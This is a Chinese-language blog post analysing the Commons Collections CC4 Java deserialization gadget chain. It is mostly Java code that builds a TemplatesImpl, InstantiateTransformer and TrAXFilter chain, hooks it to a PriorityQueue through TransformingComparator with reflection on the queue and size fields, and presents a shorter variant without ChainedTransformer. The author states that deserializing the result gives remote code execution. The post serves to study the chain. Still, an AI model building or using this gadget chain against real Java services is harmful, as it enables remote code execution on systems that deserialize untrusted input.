沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Java反序列化之CC4

0x00 前言


其实有了CC1-Gadget、CC2-Gadget、CC3-Gadget的基础,CC4-Gadget也没什么好分析的了,基本几句话就结束了,但由于我要水文章,所以还是写一篇吧😋。

本篇包含以下元素:

  • CC4-Gadget的分析
  • 最后自己思考省去了原Gadget中的脱裤子放p的ChainedTransformer

0x01 思路


CC4-Gadget的思路其实很简单,就是在CC3包装到ChainedTransformer时,再接上CC2中的PriorityQueue链。

ChainedTransformer链

关于CC3的ChainedTransformer的包装如果忘记了的话,可以看这篇文章回顾一下:Java反序列化之CC3,这里就只给出包装完的样子:

//get templatesChian
MakeTemplates makeTemplates = new MakeTemplates();
Templates templates = (Templates) makeTemplates.makeTemplate();
//chainT
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//test chain
chain.transform("foo");

chain会利用InstantiateTransformer帮我们实例化TrAXFilter,而TrAXFilter实例化会触发templates.newTransform,触发RCE。

PriorityQueue链

上面的ChainedTransformer链已经做到了只要调用chain中的transform方法并传入任意的参数即可实现RCE。回顾一下CC2中的PriorityQueue链的触发处: Java反序列化之CC2:

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

会调用comparator(构造函数中可控)的compare方法,而在TransformingComparator类中,其compare方法,调用了this.transformer.transform,且参数this.transformer可控(构造函数中可控):

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

所以,如果我们让TransformingComparator类的this.transformer为上文的ChainedTransformer链,然后让其为PriorityQueue链的comparator,当调用comparator的compare方法时,就会触发chain.transfomer,这就构成了一个完整的链。

小结

总结上面的思路如下:

  1. 创建Templates链
  2. 将templates包装成ChainedTransformer
  3. 创建一个TransformingComparator类,其this.transformer要为步骤二中的chain
  4. 创建一个PriorityQueue,其comparator为步骤三中的TransformingComparator

0x02 构造


第一步,构造Templates链(使用CC2-Gadget中的祖传代码,在懒狗的CC3-Gadget的项目里封装了,如果你和我一样是个懒狗,不想自己写,可以直接抄,顺便给个Star✨):

链接: JavaUnserialization/CommonsCollections3-Gadget

第二步,封装成ChainTransformer,在上文以及CC3-Gadget分析一文中也已经给出:

public static Object makeChain() throws Exception{
    //get templatesChian
    MakeTemplates makeTemplates = new MakeTemplates();
    Templates templates = (Templates) makeTemplates.makeTemplate();
    //chainT
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chain = new ChainedTransformer(transformers);
    return chain;
}

第三步,创建一个this.transformer为chain的TransformingComparator:

//make comparator
TransformingComparator comparator = (TransformingComparator) new TransformingComparator(chain);
//test comparator
comparator.compare(1,2);

第四步,创建一个PriorityQueue,传入上面构造的comparator。这里如果你使用我CC2中的方法,记得反射修改size的大小:

PriorityQueue priorityQueue = new PriorityQueue(1,comparator);//initialxxx must >= 1
//set queue[0] to be TemplateImplChain && size==2
Class clz = priorityQueue.getClass();
Field field = clz.getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, new Object[]{"foo","bar"});//因为已经用chain封装了,所以这里的queue随便值为什么,但大小仍需为2
field = clz.getDeclaredField("size");//set the size to be 2,after the new PriorityQueue the size is still 0
field.setAccessible(true);
field.set(priorityQueue, 2);

最后用获得的priorityQueue去序列化和反序列化测试,即可RCE。

0x03 思考


其实如果你仔细思考一下CC2-Gadget中的PriorityQueue链,其实这里还有另外一种方法🤗。在CC2-Gadget中,我们的queue[0]为templates链,而TransformingComparator中的transformer为InvokerTransformer,且这个InvokerTransformer构造为new InvokerTransformer("newTransformer",new Class[0],new Object[0]),最终实现了当调用compare方法并传入queue[0]时,就会变成调用templates链的newTransformer方法。

为什么要说上面的一大堆呢? 还记得我们在CC3-Gadget分析中说过的一句话吗? “InstantiateTransformer类中的transform,和CC1中的InvokerTransformer类似,不过后者是可以通过反射获得任意方法,而这里可以通过实例化任意的类”。

既然InstantiateTransformer与InvokerTransformer类似,这里完全可以做一个替换。什么意思呢?就是我们实际上完全不需要用ChainedTransformer来包装😣,因为他只是帮我们把TrAXFilter.class传入到InstantiateTransformer的transform之中去,我们这里完全就可以把queue[0]赋值为TrAXFilter.class,完全不需要脱裤子放p啊,下面来尝试再次构造吧。

构造

只需要改变两个地方,首先是不必包装到chain,只需要构造InstantiateTransformer:

//get templatesChian
MakeTemplates makeTemplates = new MakeTemplates();
Templates templates = (Templates) makeTemplates.makeTemplate();

//make InstantiateTransformer
InstantiateTransformer iTransfomer = new InstantiateTransformer(
    new Class[]{Templates.class}, new Object[]{templates});

其次是把priorityQueue中的queue[0]赋值为TrAXFilter.class:

PriorityQueue priorityQueue = new PriorityQueue(1,comparator);//initialxxx must >= 1
//set queue[0] to be TemplateImplChain && size==2
Class clz = priorityQueue.getClass();
Field field = clz.getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, new Object[]{TrAXFilter.class,"bar"});
field = clz.getDeclaredField("size");//set the size to be 2,after the new PriorityQueue the size is still 0
field.setAccessible(true);
field.set(priorityQueue, 2);

完整代码可戳此链接查看: JavaUnserialization/MyAnotherCC4.java

0x04 参考


Ysoserial Commons-Collections 利用链分析 (seebug.org)